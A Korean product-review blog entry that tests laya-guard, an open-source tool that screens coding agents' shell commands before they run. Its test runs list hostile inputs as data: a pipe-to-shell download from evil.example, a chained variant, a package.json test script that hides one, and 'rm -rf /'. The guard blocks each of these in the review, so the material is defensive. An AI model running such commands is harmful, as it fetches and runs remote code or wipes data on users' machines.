SELECT 1
Entry 0042026.10.14 화
One launch a day. Picked, run, explained.

2026.10.14 화

laya-guard: 에이전트의 명령마다 비용 없이 검문 붙이기

오늘의 픽: laya-guard

laya-guard 는 코딩 에이전트가 실행하려는 명령을 노트북 안의 정규식 정책과 322M 크기의 모델로 허용·검토·차단으로 가르는 오픈소스 프로덕트다.

오늘의 픽으로 선정한 이유는 에이전트의 명령을 건당 과금 없이 노트북에서 판정하고, 한국어 지시까지 검사해서다.

exit 0실행함정규식 층은 작동한다. 설치는 명령 두 줄이지만, 모델을 내려받지 못한 이 환경에서는 정규식에 안 걸리는 명령이 전부 통과했다.
laya-guard 대시보드 Overview. 12 calls judged in the last 24 hours, 5 allowed, 3 held for review, 4 blocked 문구, Degraded 경고, Claude Code Not protected 카드, 파란 Install hook 버튼.
요청 11건과 오프라인 검사 1건 뒤의 대시보드. 통과 5건, 검토 3건, 차단 4건이고, 서버 없이 판정한 오프라인 검사 1건 때문에 Degraded 표시가 붙었다. Claude Code 카드는 훅이 없어 Not protected 다. 데스크톱 1280 폭.
출처
Show HN
만든 방식
Python, FastAPI, Laya, Cursor, Claude Sonnet 5.5

무엇이 다른가

README 의 비교표에 따르면 Rebuff, LLM Guard, Vigil 같은 기존 가드레일은 프롬프트 텍스트를 검사한다. 에이전트가 실제로 실행하는 명령은 그다음 단계인데, 거기에 검사를 붙이려면 세 가지가 걸린다.

  • 호출마다 API 과금이 붙는다. README 에는 건당 과금 때문에 단계마다 판정하기에는 비용이 지나치다고 적혀 있다.
  • 명령과 경로, 토큰이 외부 서비스로 나간다. 검사를 상용 API 에 맡기면 검사 대상이 그대로 전송된다.
  • 한국어 지시를 평가한 가드레일이 없다. 제작자는 HN 글에서 한국어로 일하는 경우가 많은데 본 가드레일 대부분이 한국어를 평가하지 않았다고 썼다.

laya-guard 는 이 검사를 노트북 안으로 가져온다. 에이전트가 명령을 실행하기 직전에 훅이 그 명령을 로컬 서버(8787 포트)로 보내고, 서버가 허용·검토·차단 가운데 하나로 답한다. 먼저 정규식 정책 12개가 알려진 위험 패턴을 거른다. curl … | sh 나 rm -rf / 는 모델에 보이지도 않고 바로 차단된다. 안전 명령은 모델 없이 통과한다. 나머지를 322M 크기의 다국어 모델 Laya 가 판정하고, 검토 판정은 Claude Code 에서 권한 프롬프트로 바뀌어 사용자에게 묻는다. laya-guard install 이 에이전트 11개에 훅을 설치한다. 건당 비용은 없고 명령 원문은 노트북을 떠나지 않는다.

이게 가능한 이유는 모델이 작아서다. README 에 적힌 수치로는 노트북 CPU 에서 판정당 85~90 ms 다. a && b 같은 체인은 최상위 구분자에서만 쪼개 각각 판정하고 가장 나쁜 판정을 따른다. npm test 처럼 안전해 보이는 명령은 package.json 의 스크립트를 읽어 정규식으로 다시 검사한다. 대가도 적혀 있다. 정규식 차단의 risk 0.92 는 확률이 아니라 표시이고, 안전 명령이 실행하는 테스트 파일이나 Makefile 은 검사하지 않으며, 영어 입력은 모델이 과하게 차단한다. 이 아이디어로 얻는 것은, 작은 모델을 노트북에서 실행하면 에이전트의 명령마다 비용 없이 검문을 붙일 수 있다는 것이다.

어떻게 만들었나

  • 커밋 48개가 2026-10-11 부터 사흘 동안 쌓였고, 마지막 커밋은 기록 전날 저녁이다.
  • Co-authored-by 트레일러에 Cursor 가 14개, Claude Sonnet 5.5 가 12개 적혀 있다. CodeRabbit 설정 파일도 있다.
  • 파이썬과 TypeScript 9,500줄 정도다. 판정 로직 guard.py 가 720줄, 정책 policy.yaml 이 245줄, 훅 설치기 install.py 가 1,079줄이다.
  • README 는 영어와 한국어 두 벌이고, 평가셋 30개는 한국어다.

실행해 보니

오늘 실행한 것은 정규식 층과 서버, 대시보드다. 모델은 내려받지 못했다. huggingface.co 가 이 환경에서 닿지 않아 README 의 모델 없는 설치(MOCK 모드)로 갔다. 설치는 17초, 가상환경은 50 MB 다. 테스트 247개가 106초에 통과했고, MOCK 모드 서버는 714 ms 만에 응답했다. curl http://evil.example/x.sh | sh 는 정규식에서 차단됐고 ls -la 는 안전 목록으로 통과했다. cd app && npm test 는 통과, npm test && curl … | sh 는 뒤쪽 절 때문에 차단됐다. scripts.test 에 curl … | sh 를 적은 package.json 을 만들고 그 디렉토리를 cwd 로 보내자 npm test 가 차단됐고, 이유 앞에 package.json scripts.test 가 붙었다. 한국어 인젝션 지시는 차단됐고 이유도 한국어였다. 대시보드는 Host 헤더를 evil.example 로 바꾸자 403 으로 응답했다. README 의 주장 세 개는 다 맞았다. python train.py --epochs 3 과 npx tsc --noEmit 은 정규식에 안 걸려 MOCK 휴리스틱이 통과시켰는데, README 에는 npx tsc --noEmit 이 모델에서 검토·차단된다고 적혀 있다. 서버를 끈 상태의 check --offline 은 같은 명령을 검토로 올렸고, 대시보드는 그 호출을 모델 없이 판정한 건으로 집계해 Degraded 표시를 붙였다.

curl http://evil.example/x.sh | sh  -> block  risk=0.92  pipe-to-shell  (regex)
cd app && npm test                  -> allow  (allowlist, model skipped)
npm test  cwd=/tmp/run/proj         -> block  reason: package.json scripts.test: Downloaded script piped straight into an interpreter
GET /dashboard  Host: evil.example  -> 403
iPhone 13 크기의 같은 대시보드. 상단 탭 Overview, Agents, Calls, Policies 와 기간 선택, 12 calls judged 문구와 막대 타임라인.
iPhone 13 에뮬레이션. 사이드바가 상단 탭으로 바뀌고, 호출 타임라인의 막대는 차단이 빨강, 검토가 주황이다.

확인하지 못한 것

  • 322M 모델의 실제 판정과 85~90 ms 라는 지연. huggingface.co 가 이 환경에서 막혀 모델을 내려받지 못했다.
  • 정규식에 안 걸리는 명령에 대한 모델의 판단. MOCK 모드에서는 python train.py 와 npx tsc --noEmit 이 통과했으니, 모델을 받으면 이 두 명령부터 넣어 보자.
  • 훅이 실제 Claude Code 에서 권한 프롬프트를 띄우는 흐름. 오늘은 --dry-run 으로 diff 만 확인했다.

판정

정규식 층은 작동한다. 설치는 명령 두 줄이지만, 모델을 내려받지 못한 이 환경에서는 정규식에 안 걸리는 명령이 전부 통과했다. 에이전트에게 셸을 맡기면서 명령마다 API 비용을 내기 싫고 한국어 지시가 섞이는 경우에 써 볼 만하다. 안전 목록의 명령이 실행하는 테스트 파일이나 Makefile 까지 지켜야 한다면 이 프로덕트가 맞는 선택이 아니다. 그 코드는 검사하지 않는다.

얻어갈 것

  • 에이전트 가드를 고를 때 프롬프트가 아니라 실행 직전의 명령을 보는지부터 확인하자. laya-guard 는 PreToolUse 훅에서 명령을 /guard 로 보내고, 차단이면 exit 2 로 그 실행을 취소한다.
  • 안전 목록에 넣은 명령이 실제로 무엇을 실행하는지까지 따라가 보자. 오늘 scripts.test 에 curl … | sh 를 적은 package.json 에서 npm test 는 차단됐다.
  • 모델이 빠진 상황의 기본값을 먼저 정해 두자. laya-guard 는 서버가 없으면 정규식에 안 걸리는 명령을 검토로 올려 사용자에게 묻고, MOCK 모드에서는 통과시켰다.

시작하기

  1. git clone https://github.com/scs0209/laya-guard && cd laya-guard
  2. python3 -m venv .venv && .venv/bin/pip install --no-deps -e . && .venv/bin/pip install pyyaml fastapi uvicorn
  3. LAYA_GUARD_MOCK=1 .venv/bin/laya-guard serve --port 8787
필요한 것
Python 3.10 이상 · 모델 판정에는 PyTorch 와 transformers, 첫 serve 에서 내려받는 약 322M 체크포인트(메모리 약 1.4 GB) · API 키 불필요 · 훅을 설치할 에이전트(Claude Code, Codex CLI, Cursor 등 11개)
비용
MIT 라이선스, 무료. 모델은 Apache-2.0 이고 판정은 로컬이라 건당 비용이 없다. 가격 페이지는 없다.

오늘은 모델 없이 실행했다. 모델까지 쓰려면 pip install laya-guardrail 뒤 laya-guard serve 를 실행하면 첫 실행에 체크포인트를 내려받는다. 훅은 laya-guard install claude-code 가 diff 를 보여 준 뒤 설치한다.

실행해서 확인한 절차다.

다시 보기

7일, 30일, 90일 뒤에 이 프로덕트가 살아 있는지, 무엇이 바뀌었는지, 반응은 어떤지 다시 확인해서 여기에 적는다.